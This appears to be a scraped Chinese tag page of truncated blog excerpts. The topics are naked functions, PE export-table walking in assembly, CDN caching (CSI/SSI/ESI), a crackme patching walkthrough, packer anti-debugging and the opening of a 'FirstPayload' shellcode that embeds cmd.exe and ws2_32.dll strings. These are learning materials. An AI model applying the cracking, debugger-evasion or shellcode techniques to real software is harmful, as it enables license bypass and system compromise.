esi

裸函数

匿名 (未验证) 提交于 2019-12-03 00:11:01
概述    _declspec(naked)修饰可以生成一个“裸”函数, 使用后C编译器将生成不含函数框架的纯汇编代码,裸函数中什么都没有,所以也不能使用局部变量,只能全部用内嵌汇编实现。 裸函数的定义 1 void __declspec(naked) Function() 2 3 { 4 ... 5 }   _declspec(naked) 的介绍:   _declspec(naked), 就是告诉编译器,在编译的时候,不要优化代码,通俗的说就是, 没代码,完全要自己写   比如: 1 #define NAKED __declspec(naked) 2 3 void NAKED code(void) 4 { 5 __asm 6 { 7 ret 8 } 9 }   使用__declspec(naked)关键字定义函数:   1,使用 naked 关键字必须自己构建 EBP 指针 (如果用到了的话);   2,必须自己使用 RET 或 RET n 指令返回 (除非你不返回);   _delcspec(naked)用在驱动编写,C语言内嵌汇编完成一些特定功能。 实例   我们先通过一个C语言中最简单函数,然后观察反汇编代码,看看编译器为我们做了些什么    编译环境:VmWare Workstation 15 Pro、windows 7、VC++ 6.0 英文版 1 //

PE汇编--导出函数名实际地址

匿名 (未验证) 提交于 2019-12-02 23:42:01
mov esi, edi ; edi kernel32 baseAddress ,PE头位置 add esi, [esi+3Ch] ; esi PE文件头,3Ch是DOS头最后一项 mov esi, [esi+78h] ; esi 导出表相对地址地址赋给esi add esi, edi ; 基址+相对地址=输出表实际地址 push esi mov ebp, [esi+18h] ; 把有名函数的总数赋给ebp mov esi, [esi+20h] ; 把导出函数名数组的相对地址给esi add esi, edi ; 导出函数名地址加上基址 文章来源: https://blog.csdn.net/dyxcome/article/details/91357943

天猫浏览型应用的CDN静态化架构演变

倖福魔咒の 提交于 2019-12-01 06:44:42
在天猫双11活动中,商品详情、店铺等浏览型系统,通常会承受超出日常数倍甚至数十倍的流量冲击。随着历年来双11流量的大幅增加,每年这些浏览型系统都要面临容量评估、硬件扩容、性能优化等各类技术挑战。因此,架构方面的重点在于,如何能够利用合理成本应对瞬间飙高的峰值请求,并确保活动完整周期中系统容量的可伸缩性、用户响应时间的稳定性,以及外部依赖系统出现问题时的高可用性。此外,作为最主要的页面流量承载体系,架构方面还需考虑防爬攻击、流控容灾等安全、稳定的需求,并综合衡量网络带宽、硬件成本、缓存效率等各方面要素,找准平衡点,从而达到以不变应万变的理想效果。 演进 为此,自2011年起,以天猫商品详情系统为代表,天猫浏览型系统在架构上的主要工作之一就是通过静态化技术实现了动静态信息分离、利用缓存技术存放静态化内容、利用少量动态数据异步加载填充。整个过程历经单机静态化、统一缓存接入,到2013年双11前彻底CDN化三个阶段(如图1所示),有效解决了缓存命中率、流量自然分布、系统扩容简化、用户端响应速度等关键问题。 图1 CDN化的三个阶段 目前,天猫浏览型系统最新使用的这套基于CDN的静态化架构,可以满足高可用持续伸缩的原始预期,并包含如下特性。 动静分离:HTML静态化和热点分离。 分布式缓存体系:利用CDN节点分布式缓存。 多级缓存机制:CDN两级+应用一级。 统一服务静态化集群。 一致性维持

动态缓存技术之CSI,SSI,ESI

末鹿安然 提交于 2019-12-01 06:44:17
平时我们谈页面,大都数是以页面为单位的。 一、CSI (Client Side Includes) 含义:通过iframe、javascript、ajax等方式将另外一个页面的内容动态包含进来。 原理:整个页面依然可以静态化为html页面,不过在需要动态的地方则通过iframe,javascript或ajax来动态加载! 例子:<iframe src='http://abroad.e2bo.com/index.php' border='0'></iframe> 优点:相对比较简单,不需要服务器端做改变和配置; 缺点:不利于搜索引擎优化(iframe方式), javascript兼容性问题,以及客户端缓存问题可能导致更新后不能及时生效!对于客户体验也不够好! 二、SSI(Server Side Includes) 含义:通过注释行SSI命令加载不同模块,构建为html,实现整个网站的内容更新; 原理:通过SSI调用各模块的对应文件,最后组装为html页面,需要服务器模块支持(具体配置本文不做详述),比如:apache服务器需要开启mod_include模块; 例子: Html代码 <!--#include virtual="header.html" --> <!--#include virtual="login.html" --> <!--#include virtual=

裸函数

北城余情 提交于 2019-11-30 08:35:09
概述    _declspec(naked)修饰可以生成一个“裸”函数, 使用后C编译器将生成不含函数框架的纯汇编代码,裸函数中什么都没有,所以也不能使用局部变量,只能全部用内嵌汇编实现。 裸函数的定义 1 void __declspec(naked) Function() 2 3 { 4 ... 5 }   _declspec(naked) 的介绍:   _declspec(naked), 就是告诉编译器,在编译的时候,不要优化代码,通俗的说就是, 没代码,完全要自己写   比如: 1 #define NAKED __declspec(naked) 2 3 void NAKED code(void) 4 { 5 __asm 6 { 7 ret 8 } 9 }   使用__declspec(naked)关键字定义函数:   1,使用 naked 关键字必须自己构建 EBP 指针 (如果用到了的话);   2,必须自己使用 RET 或 RET n 指令返回 (除非你不返回);   _delcspec(naked)用在驱动编写,C语言内嵌汇编完成一些特定功能。 实例   我们先通过一个C语言中最简单函数,然后观察反汇编代码,看看编译器为我们做了些什么    编译环境:VmWare Workstation 15 Pro、windows 7、VC++ 6.0 英文版 1 //

第五章 过程

ε祈祈猫儿з 提交于 2019-11-30 02:35:26
5.4 堆栈操作 5.4.2 POP和PUSH指令 PUSHFD 指令把 32 位 EFLAGS 寄存器内容压入堆栈,而 POPFD 指令则把栈顶单元内容弹出到 EFLAGS 寄存器: PUSHAD 指令按照 EAX、ECX、EDX、EBX、ESP(执行 PUSHAD 之前的值)、EBP、ESI 和 EDI 的顺序,将所有 32 位通用寄存器压入堆栈。 POPAD 指令按照相反顺序将同样的寄存器弹出堆栈。与之相似,PUSHA 指令按序(AX、CX、DX、BX、SP、BP、SI 和 DI)将 16 位通用寄存器压入堆栈。 POPA 指令按照相反顺序将同样的寄存器弹出堆栈。在 16 位模式下,只能使用 PUSHA 和 POPA 指令。 5.8 编程练习 1.绘制彩色文本 TITLE test project INCLUDE Irvine32.inc .data buffer BYTE 'Hk_Mayfly',13,10,0 color DWORD 1,2,3,4,6 .code main PROC mov esi,OFFSET color mov edx,OFFSET buffer mov ecx,4 S: mov eax,[esi] shl eax,4 add eax,[esi+TYPE color] call SetTextColor call WriteString add

动态内容缓存技术 CSI,SSI,ESI介绍

ぃ、小莉子 提交于 2019-11-30 01:44:15
1.CSI方案 CSI (Client Side Includes) 通过iframe、javascript、ajax 等方式将另外一个页面的内容动态包含进来。 2.SSI方案 SSI (Server Side Includes) Server Side Includes (SSI) is a simple interpreted server-side scripting language used almost exclusively for the Web. 在HTML文件中,可以通过注释行调用的命令或指针。实现整个网站的内容更新。SSI需要特殊的文件后缀(shtml,inc)。如: <!--#include virtual="../date.jsp" --> 3.ESI方案 ESI (Edge Side Includes) Edge Side Includes(ESI) 和Server Side Includes(SSI)和功能类似。ESI(Edge Side Include)通过使用简单的标记语言来对那些可以加速和不能加速的网页中的内容片断进行描述,每个网页都被划分成不同的小部分分别赋予不同的缓存控制策略,使Cache服务器可以根据这些策略在将完整的网页发送给用户之前将不同的小部分动态地组合在一起。通过这种控制,可以有效地减少从服务器抓取整个页面的次数

逆向破解之160个CrackMe —— 026

心不动则不痛 提交于 2019-11-29 05:59:08
CrackMe —— 026 160 CrackMe 是比较适合新手学习逆向破解的CrackMe的一个集合一共160个待逆向破解的程序 CrackMe:它们都是一些公开给别人尝试破解的小程序,制作 crackme 的人可能是程序员,想测试一下自己的软件保护技术,也可能是一位 cracker,想挑战一下其它 cracker 的破解实力,也可能是一些正在学习破解的人,自己编一些小程序给自己破。 CrackMe简称CM。 程序下载地址: 点击我 来源 <-点击查看 编号 作者 保护方式 026 Colormaster Name/Serial(VB5) 工具 x32dbg KeyMake 开始破解之旅 ON.1 爆破方式 首先使用x32dbg打开026号程序,右键搜索字符串 这里我们看到了正确信息提示符,地位为 00403745 进入该地址,向上翻看来到最近的一个跳转处 该跳转当寄存器 ZF=0 时发生跳转,跳转到正确提示信息,我们将 004036EB 地址处的 JE 修改为 NOP ,F9运行,在输入框内输入任意数据 bingo ~ 破解成功 ON.2 内存补丁方式 继续向上翻看代码,此时我们在x32dbg中看到一个字符串对比函数 0040369C | 8D4D C4 | lea ecx,dword ptr ss:[ebp-0x3C] | 0040369F | FFD6 | call

C++写壳之高级篇

梦想与她 提交于 2019-11-28 03:49:23
来源: https://bbs.pediy.com/thread-251267.htm 看雪论坛 作者:九阳道人 之前在写了写壳基础篇,现在就来完成写壳高级篇。没有基础篇的知识,那理解高级篇就比较困难。有了写壳基础后,才能在其基础上逐步实现高级功能,加壳的目的主要是防止别人破解,而想要别人很难破解,我认为要在花指令、混淆和指令虚拟化上大量的时间及脑力才能做到,这个比较费脑力费时间。我在此就说说一些能快速入门的反调试技术,下面说的难度将逐渐提升。 主要工具: VS2017、x64dbg、OD 实验平台:win10 64位 实现功能:反调试、IAT加密、Hash加密、动态解密。 一、反调试 顾名思义,就是阻止别人调试程序,在PEB结构中有一个BegingDebugged标志位专门用于检测是否处于调试状态,为1则处于调试状态,用VS2017测试下列程序: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include "pch.h" #include <iostream> #include <windows.h> / / 反调试 1 bool PEB_BegingDebugged() { bool BegingDebugged = false; __asm { mov eax, fs:[

FirstPayload

烂漫一生 提交于 2019-11-27 07:58:46
FirstPayload // FirstPayload.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//​#include "pch.h"#include <iostream>​int main(){ __asm { SUB ESP,0x20 // 开辟一段栈空间,增加健壮性 push ebp mov ebp,esp sub esp,0x10 JMP tag_Shellcode // 前置代码,避免后面的数据被解释为指令 // cmd.exe // [tag_Next-0x25] _asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E) _asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)​ // ws2_32.dll\0 // [tag_Next-0x1D] _asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F) _asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64) _asm _emit(0x6C)_asm _emit(0x6C)_asm _emit